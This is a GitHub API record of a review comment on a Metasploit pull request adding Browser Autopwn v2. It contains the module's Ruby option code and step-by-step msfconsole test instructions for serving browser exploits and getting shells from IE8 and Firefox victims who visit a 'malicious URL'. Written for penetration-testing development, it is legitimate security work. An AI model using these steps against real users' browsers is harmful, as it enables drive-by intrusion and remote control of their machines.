{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/33797304","id":33797304,"diff_hunk":"@@ -0,0 +1,106 @@\n+##\n+# This module requires Metasploit: http://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+require 'msf/core'\n+\n+class Metasploit3 < Msf::Exploit::Remote\n+  Rank = ExcellentRanking\n+\n+  include Msf::Exploit::Remote::BrowserAutopwnv2\n+\n+  def initialize(info={})\n+    super(update_info(info,\n+      'Name'           => \"HTTP Client Automatic Exploiter (Browser Autopwn)\",\n+      'Description'    => %q{\n+        This module will automatically serve browser exploits. Here are the options you can\n+        configure:\n+\n+        The Include option allows you to specify the kind of exploits to be loaded. For example,\n+        if you wish to load just Adobe Flash exploits, then you can set Include to 'adobe_flash'.\n+\n+        The Exclude option will ignore exploits. For example, if you don't want any Adobe Flash\n+        exploits, you can set this. Also note that the Exclude option will always be evaludated\n+        after the Include option.\n+\n+        The MaxExploits option specifies the max number of exploits to load by Browser Autopwn.\n+        By default, 20 will be loaded. But note that the client will probably not be vulnerable\n+        to all 20 of them, so only some will actually be served to the client.\n+\n+        The Content option allows you to provide a basic webpage. This is what the user behind\n+        the vulnerable browser will see. You can simply set a string, or you can do the file://\n+        syntax to load an HTML file. Note this option might break exploits so try to keep it\n+        as simple as possible.\n+\n+        The WhiteList option can be used to avoid visitors that are outside the scope of your\n+        pentest engagement. IPs that are not on the list will not be attacked.\n+\n+        The MaxSessions option is used to limit how many sessions Browser Autopwn is allowed to\n+        get. The default -1 means unlimited. Combining this with other options such as RealList\n+        and Custom404, you can get information about which visitors (IPs) clicked on your malicious\n+        link, what exploits they might be vulnerable to, redirect them to your own internal\n+        training website without actually attacking them.\n+\n+        The RealList is an option that will list what exploits the client might be vulnerable to\n+        based on basic browser information. If possible, you can run the exploits for validation.\n+\n+        For more information about Browser Autopwn, please see the reference link.\n+      },\n+      'License'        => MSF_LICENSE,\n+      'Author'         => [ 'sinn3r' ],\n+      'Targets'        => [ [ 'Automatic', {} ] ],\n+      'Platform'       => %w{ java linux osx solaris win android firefox },\n+      'Privileged'     => false,\n+      'DisclosureDate' => \"Jul 5 2015\",\n+      'Targets'        => [ [ 'Automatic', {} ] ],\n+      'References'     =>\n+        [\n+          [ 'URL', 'https://github.com/rapid7/metasploit-framework/wiki' ]\n+        ],\n+      'DefaultTarget'  => 0))\n+\n+\n+    register_advanced_options(get_advanced_options, self.class)\n+\n+    register_options(\n+      [\n+        OptRegexp.new('Include', [false, 'Pattern search to include specific modules']),\n+        OptRegexp.new('Exclude', [false, 'Pattern search to exclude specific modules']),\n+        OptInt.new('MaxExploits', [false, 'Number of browser exploits to load', 20]),","path":"modules/exploits/multi/browser/autopwn.rb","position":70,"original_position":70,"commit_id":"2957924c789207d54d28707c4c53c8ea76165ddf","original_commit_id":"2957924c789207d54d28707c4c53c8ea76165ddf","user":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"body":"The total.","created_at":"2015-07-02T16:42:57Z","updated_at":"2015-07-02T16:42:57Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/5650#discussion_r33797304","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5650","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/33797304"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5650#discussion_r33797304"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5650"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5650","id":39053090,"html_url":"https://github.com/rapid7/metasploit-framework/pull/5650","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5650.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5650.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5650","number":5650,"state":"open","locked":false,"title":"Add Browser Autopwn v2","user":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"body":"This pull request is for the new Browser Autopwn v2.\r\n\r\nFirst off, please make sure to set up:\r\n\r\n- [ ] Windows XP SP3\r\n- [ ] This XP should have IE8\r\n- [ ] Firefox 27: http://fs12.filehippo.com/9401/ab6c3b4687e94a3995d2197ba39c63a6/Firefox%20Setup%2027.0.exe\r\n- [ ] The testing also involves trying out Flash exploits. So you will need this page: https://helpx.adobe.com/flash-player/kb/archived-flash-player-versions.html\r\n\r\nAnd please follow these testing steps:\r\n\r\n## Being able to run Browser Autopwn\r\n\r\n- [ ] Start msfconsole\r\n- [ ] Do: ```use exploit/multi/browser/autopwn```\r\n- [ ] Do: ```run```\r\n- [ ] In about 10 seconds or less, BAP should be ready. It should show you a list of exploits it wants to use, and say something like this:\r\n\r\n```\r\n[*] Please use the following URL for the browser attack:\r\n[*] BrowserAutoPwn URL: http://192.168.1.64:8080/VQXwCRR\r\n```\r\n\r\n## Being able to stop jobs properly\r\n\r\n- [ ] Start msfconsole\r\n- [ ] Do: ```use exploit/multi/browser/autopwn```\r\n- [ ] Do: ```run```\r\n- [ ] Do: ```jobs -K```\r\n- [ ] Do: ```jobs```\r\n- [ ] You should see that all jobs are stopped\r\n- [ ] In a new terminal, do ```netstat -antp tcp |grep 8080```, and you should see that this port is not open (this is the default web server port for BAP)\r\n\r\nAnd do this:\r\n\r\n- [ ] Start Browser Autopwn again\r\n- [ ] Do: ```jobs```\r\n- [ ] Find the job ID for exploit/multi/browser/autopwn. Let's say it's 0 in this case.\r\n- [ ] Do: ```jobs -k 0```\r\n- [ ] Do: ```jobs```\r\n- [ ] You should see all jobs are stopped (browser autopwn and its child exploits)\r\n- [ ] In a new terminal, do ```netstat -antp tcp |grep 8080```, and you should see that this port is not open (this is the default web server port for BAP)\r\n\r\n## Being able to get a session from BAP\r\n\r\n- [ ] Start msfconsole\r\n- [ ] Do: ```use exploit/multi/browser/autopwn```\r\n- [ ] Do: ```run```\r\n- [ ] Visit the malicious BAP URL to your IE8/Win XP\r\n- [ ] You should get a shell.\r\n\r\n## Browser profiles collected by BAP should not interfere with the standalone one.\r\n\r\nSince you already goto a shell agains the XP machine, we assume it was MS14-064 because that's currently the first one on the list.\r\n\r\n- [ ] Do ```jobs -K``` for BAP\r\n- [ ] Start msfconsole in a new terminal\r\n- [ ] Do: ```exploit/windows/browser/ms14_064_ole_code_execution```\r\n- [ ] Do: ```run```\r\n- [ ] You should see these two steps:\r\n\r\n```\r\n[*] 192.168.1.80     ms14_064_ole_code_execution - Gathering target information.\r\n[*] 192.168.1.80     ms14_064_ole_code_execution - Sending HTML response.\r\n```\r\n\r\n## The Include option should only give you specific exploits\r\n\r\n- [ ] Start msfconsole\r\n- [ ] Do: ```use exploit/multi/browser/autopwn```\r\n- [ ] Do: ```set Include adobe_flash```\r\n- [ ] Do: ```run```\r\n- [ ] You should see that only Adobe Flash exploits are loaded.\r\n\r\n## The Exclude option should ignore the exploits you don't want.\r\n\r\n- [ ] Start msfconsole\r\n- [ ] Do: ```use exploit/multi/browser/autopwn```\r\n- [ ] Do: ```set Exclude adobe_flash```\r\n- [ ] Do: ```run```\r\n- [ ] You should see that no Adobe Flash exploits are on the list.\r\n\r\n## Test the MaxExploits option\r\n\r\n- [ ] Start msfconsole\r\n- [ ] Do: ```use exploit/multi/browser/autopwn```\r\n- [ ] Do: ```set MaxExploits 10```\r\n- [ ] Do: ```run```\r\n- [ ] Only 10 exploits are loaded\r\n\r\n## Test the MaxSessions option\r\n\r\n- [ ] Start msfconsole\r\n- [ ] Do: ```use exploit/multi/browser/autopwn```\r\n- [ ] Do: ```set MaxSessions 0```\r\n- [ ] Do: ```run```\r\n- [ ] Visit the malicious link with your IE8 XP box\r\n- [ ] IE should get a 404\r\n\r\n## Test the RealList option\r\n\r\n- [ ] Start msfconsole\r\n- [ ] Do: ```use exploit/multi/browser/autopwn```\r\n- [ ] Do: ```set RealList true```\r\n- [ ] Do: ```run```\r\n- [ ] Visit the malicious link with your IE8 XP box\r\n- [ ] BAP should tell you which exploit or exploits are suitable for this IE8 box, for example:\r\n\r\n```\r\n[*] 192.168.1.80     autopwn - Exploits found suitable for 192.168.1.80 (Tag: WRaIymsotzcMAK)\r\n\r\n\r\n Order  IP            Exploit\r\n -----  --            -------\r\n 1      192.168.1.80  ms14_064_ole_code_execution\r\n```\r\n\r\n## Test the whitelist option\r\n\r\n- [ ] In a terminal, do: ```echo 192.168.1.123 > /tmp/ip.txt```. And make sure this IP isn't your XP SP3's IP.\r\n- [ ] Start msfconsole\r\n- [ ] Do: ```use exploit/multi/browser/autopwn```\r\n- [ ] Do: ```set WhiteList file://tmp/ip.txt```\r\n- [ ] Do: ```run```\r\n- [ ] Visit the malicious URL w/ IE8\r\n- [ ] IE8 should get a 404, and BAP should say:\r\n\r\n```\r\n[*] 192.168.1.80     autopwn - Client is trying to connect but not on our whitelist.\r\n```\r\n\r\n## Test the Content option\r\n\r\n- [ ] Save the following HTML file as /tmp/test.html\r\n\r\n```html\r\n<htm>\r\n<head>\r\n</head>\r\n<body>\r\n<h2>You have been hacked!</h2>\r\n</body>\r\n</html>\r\n```\r\n\r\n- [ ] Start msfconsole\r\n- [ ] Do: ```use exploit/multi/browser/autopwn```\r\n- [ ] Do: ```set content file://tmp/test.html```\r\n- [ ] Do: ```set MaxSessions 0```\r\n- [ ] Do: ```run```\r\n- [ ] Visit the malicious URL with IE8\r\n- [ ] On IE8, it should say \"You have been hacked!\"\r\n- [ ] You should not receive a session.\r\n\r\n## Setting up an internal social engineering test (dry-run)\r\n\r\n- [ ] Start msfconsole\r\n- [ ] Do: ```use exploit/multi/browser/autopwn```\r\n- [ ] Do: ```set Custom404 https://www.youtube.com/watch?v=O_ufD3QT51U```\r\n- [ ] Do: ```set RealList true```\r\n- [ ] Do: ```set MaxSessions 0```\r\n- [ ] Do: ```run```\r\n- [ ] On your OSX, visit the malicious URL with Chrome\r\n- [ ] BAP will probably say ```User 192.168.1.64 (Tag: eubShlrZDzxgmUfsNovgRP) visited our malicious link, but no exploits found suitable.``` (because we don't have any exploits for that setup)\r\n- [ ] Chrome should play the Youtube video\r\n- [ ] Do: ```notes -t bap.clicks```\r\n- [ ] You should see all the IPs that have visited BAP\r\n\r\n## Test Flash exploits\r\n\r\n- [ ] Please test one of these Flash exploits:\r\n\r\n```\r\nadobe_flash_nellymoser_bof\r\nadobe_flash_shader_job_overflow\r\nadobe_flash_shader_drawing_fill\r\nadobe_flash_net_connection_confusion\r\nadobe_flash_worker_byte_array_uaf\r\nadobe_flash_casi32_int_overflow\r\nadobe_flash_copy_pixels_to_byte_array\r\nadobe_flash_uncompress_zlib_uaf\r\nadobe_flash_pixel_bender_bof\r\nadobe_flash_domain_memory_uaf\r\n```\r\n\r\nIf the exploit is multi-platform, it will probably default to the Windows target. And that means if there's a Linux target trying the exploit, BAP will probably say incompatible payload, and serves a 404 to the client. This is expected. It's a limitation with Framework's design.\r\n\r\n## Firefox Testing\r\n\r\nFirefox exploits are tricky for BAP because Firefox payloads don't have Firefox payload handlers. Instead, they use generic handlers. For example, if an exploit is using firefox/shell_reverse_tcp, it's actually using generic/shell_reverse_tcp as the handler.\r\n\r\n- [ ] Start msfconsole\r\n- [ ] Do: ```use exploit/multi/browser/autopwn```\r\n- [ ] Do: ```set Include firefox_webidl_injection```\r\n- [ ] Do: ```run```\r\n- [ ] Try the malicious link with Firefox 27\r\n- [ ] You should get a shell\r\n\r\n## Resource script testing\r\n\r\nResource scripts are meant to be used to make Browser Autopwn easier to use in msfconsole.\r\n\r\n**Resource script for testing IE only**\r\n\r\n- [ ] Do: ```./msfconsole -q -r scripts/resource/bap_ie_only.rc```\r\n- [ ] You should see only IE exploits are loaded (the BrowserExploitServer ones)\r\n\r\n**Resource script for testing Firefox only**\r\n\r\n- [ ] Do: ```./msfconsole -q -r scripts/resource/bap_firefox_only.rc```\r\n- [ ] You should see only Firefox exploits are loaded (the BrowserExploitServer ones)\r\n\r\n**Resource script for testing Adobe Flash only**\r\n\r\n- [ ] Do: ```./msfconsole -q -r scripts/resource/bap_flash_only.rc```\r\n- [ ] You should see only Flash exploits are loaded (the BrowserExploitServer ones)\r\n\r\n**Resource script for dry-run only**\r\n\r\n- [ ] Do: ```./msfconsole -q -r scripts/resource/bap_dryrun_only.rc```\r\n- [ ] Visit the link with a browser. On the browser, you should see this message: ```Hello, this is a security test. You shouldn't have clicked on that link :-)```","created_at":"2015-07-02T06:56:28Z","updated_at":"2015-07-02T16:42:57Z","closed_at":null,"merged_at":null,"merge_commit_sha":"0a489333b669bf968306190a8124b6e9de66b337","assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5650/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5650/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5650/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/2957924c789207d54d28707c4c53c8ea76165ddf","head":{"label":"wchen-r7:bapv2","ref":"bapv2","sha":"2957924c789207d54d28707c4c53c8ea76165ddf","user":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"repo":{"id":3789747,"name":"metasploit-framework","full_name":"wchen-r7/metasploit-framework","owner":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/wchen-r7/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/wchen-r7/metasploit-framework","forks_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/releases{/id}","created_at":"2012-03-21T18:19:05Z","updated_at":"2014-08-01T16:20:50Z","pushed_at":"2015-07-02T06:46:39Z","git_url":"git://github.com/wchen-r7/metasploit-framework.git","ssh_url":"git@github.com:wchen-r7/metasploit-framework.git","clone_url":"https://github.com/wchen-r7/metasploit-framework.git","svn_url":"https://github.com/wchen-r7/metasploit-framework","homepage":"http://www.metasploit.com/","size":300255,"stargazers_count":6,"watchers_count":6,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":3,"mirror_url":null,"open_issues_count":1,"forks":3,"open_issues":1,"watchers":6,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"49d3b275b2560983939f8364c69e2b537d6f0ab1","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-07-02T16:17:13Z","pushed_at":"2015-07-02T16:01:53Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1073314,"stargazers_count":4020,"watchers_count":4020,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":3197,"mirror_url":null,"open_issues_count":214,"forks":3197,"open_issues":214,"watchers":4020,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5650"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5650"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5650"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5650/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5650/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5650/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/2957924c789207d54d28707c4c53c8ea76165ddf"}}}}